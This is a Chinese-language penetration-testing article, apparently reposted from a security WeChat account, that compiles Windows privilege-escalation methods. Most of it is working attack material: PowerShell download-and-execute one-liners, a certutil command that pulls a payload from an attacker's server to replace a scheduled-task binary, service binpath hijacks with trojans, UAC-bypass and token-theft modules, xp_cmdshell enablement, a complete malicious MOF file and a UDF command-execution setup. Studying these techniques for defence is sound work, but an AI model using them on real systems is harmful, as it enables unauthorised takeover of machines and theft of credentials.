windows提权看这一篇就够了

  • A+
所属分类:安全文章
windows提权看这一篇就够了

点击上方蓝字关注我吧!






freebuf链接:


https://www.freebuf.com/articles/terminal/259256.html





windows提权看这一篇就够了


简 介


windows提权看这一篇就够了

windows在日常的渗透中经常遇到,而在内网之前,经常会在所拿到的跳板机进行提权,这样后面横向,内网才能更好的展开(抓hash,必须得系统或管理员权限),所以这里做了一次window提权总结,建议收藏,反复看,熟能生巧!

提权从目的可分为纵向提权与横向提权:

  1. 纵向提权:低权限角色获得高权限角色的权限。(最常见的)

  2. 横向提权:获取同级别角色的权限。(根据实际的需求)


Windows常用的提权方法有:

系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、窃取令牌提权、bypassuac提权,第三方软件/服务提权,WEB中间件漏洞提权等。

提权思维导图:

windows提权看这一篇就够了

windows提权看这一篇就够了


提权思路

1.系统内核溢出漏洞提权

简介:此提权方法是利用系统本身存在的一些系统内核溢出漏洞,但未曾打相应的补丁,攻击者通过对比systeminfo信息中的补丁信息来查找缺失的补丁号,通过缺失补丁号对照相应的系统版本查找对应可以提权提升的exp

注意,只要对应的补丁号加上对应的系统的版本的提权exp才可以成功,有时候如果查找到提权exp提权不成功,那么就可以查看是不是系统版本没对应上,且不排除一些提权漏洞利用需要相应的环境。


查找补丁的手法:

#手工查找补丁情况systeminfoWmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描post/windows/gather/enum_patchespost/multi/recon/local_exploit_suggester
#windows exploit suggesterhttps://github.com/AonCyberLabs/Windows-Exploit-Suggester
#powershell中的sherlock脚本Import-Module C:Sherlock.ps1 #下载ps1脚本,导入模块Find-AllVulns
#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法usemodule privesc/powerup/allchecksexecute
..........

查找到缺失的补丁后,对照相应的系统版本,查找对应的exp

https://github.com/SecWiki/windows-kernel-exploitshttps://bugs.hacking8.com/tiquan/https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevationhttps://www.exploit-db.com/https://i.hacking8.com/tiquan/...........

2.系统配置错误提权

2.1 错误权限配置

简介:windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。(利用条件比较苛刻)

系统服务权限配置错误利用有如下两种方式:服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权(需要administrtor权限)

查找错误配置的手法:

#powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp可直接通过powershell远程加载powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

#msf 对应的模块为exploit/windows/local/service_permissions 但前提是获得一个会话run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system

#当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限例如:icacls “C:Program Files”icacls “C:Program FilesCommon Files”
#查看指定目录的权限配置情况accesschk.exe -dqv "D:test" -accepteula参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。
#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权accesschk.exe -uwcqv "Authenticated Users" * /accepteulasc qc 服务名 #查看可以完全控制的服务的属性。

利用方式:

#把服务启动的行为(exe或者脚本,com组件..)替换成我们的MSF反弹木马,当服务重启时,就会给我们返回一个system权限的meterpreterset AutoRunScript migrate -f#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程为什么要自动迁移?这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信,如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程,我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程。
#run exploit/windows/local/service_permissionsrun exploit/windows/local/service_permissions
#找到我们具有完全控制权限的服务,修改服务配置执行命令sc config 服务名 binpath = "木马程序.exe" #INARY_PATH_NAME参数指向了该服务的可执行程序sc stop 服务名sc start 服务名
这里可以用木马程序可以用exe,任意脚本,dll文件等等,具体情况具体分析

这里我把计划任务目录可写也放在这里,因为计划任务也算系统服务功能。

简介:windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的时间执行程序或脚本(在大多数情况下,计划任务是以NT AuthoritySystem高权限执行的),如果地权限用户对计划任务所在目录有读写权限,完全可以替换计划任务所执行的脚本或程序,获得高权限(但需要错误配置,让此目录下其他用户可写)。

官方说明文档:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa446802(v=vs.85).aspx

查找错误配置的手法:

#schtask 查询schtasks /query /fo LIST 2>nul
#powershellGet-ScheduledTask

利用手法:

#进行筛选 删除包含/Microsoft/Windows/路径的所有任务Get-ScheduledTask | Select * | ? {($_.TaskPath -notlike "MicrosoftWindows*") -And ($_.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}
#分析计划任务 查找行为,比如exe,脚本什么的$task= Get-ScheduledTask -TaskName 计划任务名 ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval}
#查找计划任务行为所在目录,低权限用户是否具有可写权限 accesschk.exe 当然也可以用icacls命令accesschk64.exe -accepteula -wv lowuser C:ScheduledTasksTask11111.exe
#直接替换certutil -urlcache -split -f "http://你的vps/1111.exe" C:ScheduledTasksTask11111.exe
#等待计划任务执行

2.2可信任服务路径漏洞

简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

原理:对于C:Program FilesSome FolderService.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:Program.exe

C:Program FilesSome.exe

C:Program FilesSome FolderService.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:Program FilesSome FolderService.exe,那么我们的恶意程序就会以system权限运行(大多数情况下)。

查找错误配置的手法:

#wmi查找含有漏洞的服务命令wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr/i /v """
#PowerUp脚本https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUppowershell.exe -exec bypass -Command "&{Import-Module .PowerUp.ps1; Invoke-AllChecks}"
##查看指定目录的权限配置情况accesschk.exe -dqv "D:test" -accepteula

漏洞利用手法:

#msf攻击模块exploit/windows/local/trusted_service_pathset AutoRunScript migrate -f
#手动攻击我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下然后重启服务sc stop service_namesc start service_name

2.3不安全的注册表权限配置

简介:在Windows中,和Windows服务有关的信息存储在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices注册表项中,服务对应的程序路径存储在HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service服务名ImagePath,如果低权限用户对这个键值有写权限,那么就可以控制这个服务,运行我们的程序,拿到高权限。

检测服务的注册表路径是否有写权限

#微软的工具https://www.microsoft.com/en-us/download/search.aspx?q=subinaclsubinacl.exe /key reg "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service服务名" /display

利用:

#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f

2.4启用注册表键AlwaysInstallElevated

简介:注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。

查看是否启用:

#PowerUppowershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"
#当然也可以查看注册表键值是否被定义reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevatedreg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

利用方式:

#利用方法,启用AlwaysInstallElevated后,可以通过命令行调用msiexec安装msi文件,msi文件内包含要执行的Payload,Payload将会以System权限执行msiexec /quiet /qn /i muma.msi
#msf 需要一个会话run exploit/windows/local/always_install_elevated

3.组策略首选项提权

简介:Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

SYSVOL

SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。

所有的组策略均存储在如下位置:

\<DOMAIN>SYSVOL<DOMAIN>Policies
组策略偏好GPP

win2008发布了GPP(Group Policy Preferences),其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码

为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。

利用手法:

#Powershell获取cpasswordGet-GPPPassword.ps1
#PowerSploit 的 Get-GPPPassword模块 检索通过组策略首选项推送的帐户的明文密码和其他信息。powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .Get-GPPPassword.ps1;Get-GPPPasswordkali gpp-decrypt命令破解密码
#Msfrun post/windows/gather/credentials/gpp
#Empireusemodule privesc/gpp

4. bypassUAC提权

简介:bypassUAC已经是老生长谈的话题了,用户帐户控制(UAC),它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。

UAC如何运行?

UAC通过阻止程序执行任何涉及有关系统更改/特定任务的任务来运行。除非尝试执行这些操作的进程以管理员权限运行,否则这些操作将无法运行。如果您以管理员身份运行程序,则它将具有更多权限,因为它将被“提升权限”,而不是以管理员身份运行的程序。

一些没有管理员权限无法完成的操作:

  • 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)

  • 加载设备驱动程序

  • DLL注入

  • 修改系统时间(时钟)

  • 修改用户帐户控制设置(通过注册表,可以启用/禁用该设置,但您需要正确的权限才能执行此操作)

  • 修改受保护的目录(例如Windows文件夹,Program Files)

  • 计划任务(例如,以管理员权限自动启动)

UAC不会自动阻止恶意软件,其目的不是确定程序是否是恶意软件,而是在没有用户许可下对恶意软件的未授权行为进行掌控。

利用手法:

#Msfexploit/windows/local/ask       #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()

exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
#PowershellInvoke-PsUACme
#Empireusemodule privesc/bypassuacusemodule privesc/bypassuac_wscript
#csuac-dlluac-token-duplication....

5.令牌窃取

简介:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

令牌有很多种:

访问令牌(Access Token):表示访问控制操作主体的系统对象 。

会话令牌(Session Token):是交互会话中唯一的身份标识符。

密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。


利用方式:

#msf 拿到一个会话use incognito           #进入incognito模块list_tokens -u          #列出令牌Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)Impresonation Token:模拟令牌,它是非交互的会话。
这里窃取令牌,主要是窃取进程中的令牌#使用令牌假冒用户impresonate_Token "令牌名"......这里也可以用其他的cs,empire上面的令牌窃取功能模块

说起令牌,让我想到了土豆(加模仿高权限令牌)!!!!这玩意真好用,真牛逼!

项目地址:

https://github.com/breenmachine/RottenPotatoNG/

RottenPotato(烂土豆)提权的原理可以简述如下:

  1. 欺骗 “NT AUTHORITYSYSTEM”账户通过NTLM认证到我们控制的TCP终端。

  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITYSYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。

  3. 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

当然土豆系列都牛逼class!附上甜土豆github地址

https://github.com/CCob/SweetPotato

6.数据库提权:

在windows上经常会装这两个数据库

  1. sqlserver数据库提权

  2. MySQL数据库提权

所以直接针对这两个数据库进行提权。

MSSQL提权:

启用xp_cmdshell(高权限用户)

#先获取高权限的数据库用户(sysadmin)查找网站源码数据库链接文件(web.config /conn.asp/aspx config.asp /aspx dbconfig.asp/aspx)等文件,查找数据库链接信息,查找可进入数据库的用户名和密码
理论上,什么用户启的数据库,xp_cmdshell就执行什么权限

#爆破出用户名密码,或者收集到密码....等手段登入数据库,mssql可以外网登录select IS_SRVROLEMEMBER('sysadmin')#查询是否为sysadmin用户,sysadmin执行命令继承了数据库的权限,前提在windows下,数据库(旧版本,新版本默认降权)默认没有被降权,默认就是system权限如果有注入的话,sqlmap --is-dba 也能判断
#然后利用高权限用户执行反弹命令,脚本,木马什么的...默认cmd的组件禁用,必须安装cmd_shell组件EXEC sp_configure 'show advanced options', 1GORECONFIGUREGO EXEC sp_configure 'xp_cmdshell', 1GORECONFIGUREGO
exec master..xp_cmdshell "whoami" --

MYSQL提权

MOF提权

简介:MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡,因为MOF文件每五秒就会执行,且是系统权限,所以如果我们有权限替换原有的mof文件,就能获得system权限

利用条件
  • Windows<=2003(虽然很久远了,还是温习一下)

  • mysql在c:windows/system32/mof目录有写权限

  • 已知数据库账号密码

利用手法:

#mysql语句将恶意mov文件替换nullevt.mof,需先上传select load_file("hacker.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
mof文件样本#pragma namespace("\\.\root\subscription")instance of __EventFilter as $EventFilter{EventNamespace = "Root\Cimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa "Win32_LocalTime" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject("WScript.Shell")nWSH.run("命令")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};
UDF提权

简介:UDF,user defined funcion,即用户自定义函数,用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll。

利用条件
  • windows2003、windowsXP、windows7

  • 拥有mysql的insert和delete权限

漏洞利用:

#首先我们要判断mysql版本,根据不同的版本:mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/mysql版本 > 5.2 ,UDF导出到安装路径MySQLLibPlugin直接查询插件安装目录show variables like %plugin%
#上传udf.dll 将udf.dll导出到插件目录,然后执行sql语句创建用户自定义函数,并利用他执行命令提权create function cmd_shell returns string soname 'udf.dll';#创建函数select cmd_shell('命令');#使用函数drop function cmd_shell; #删除函数

#也可以自动化过程,使用sqlmap自动化上传插件python sqlmap.py -u 'xxxx' --file-write=/lib_mysqludf_sys.so --file-dest=/usr/lib/mysql/plugin/python sqlmap.py -u 'xxxx' --sql-shell
各种CVE
CVE-2016-6663和CVE-2016-6664,CVE-2016-6663,CVE-2016-6664,CVE-2016-6663,CVE-2016-6664

7.其他手法

去寻找系统高权限运行的用户,服务,软件,程序,脚本.......................,通过一定手法,比如cve,进程注入,dll劫持,实在不行社工..................................

扎实的基础+奇妙的思路+敏捷的手法=system权限
windows提权看这一篇就够了



windows提权看这一篇就够了

END

windows提权看这一篇就够了


windows提权看这一篇就够了


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
windows提权看这一篇就够了

windows提权看这一篇就够了
windows提权看这一篇就够了
windows提权看这一篇就够了
扫码关注我们
windows提权看这一篇就够了


扫码领hacker资料,常用工具,以及各种福利


windows提权看这一篇就够了

转载是一种动力 分享是一种美德

          

本文始发于微信公众号(Gamma安全实验室):windows提权看这一篇就够了

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: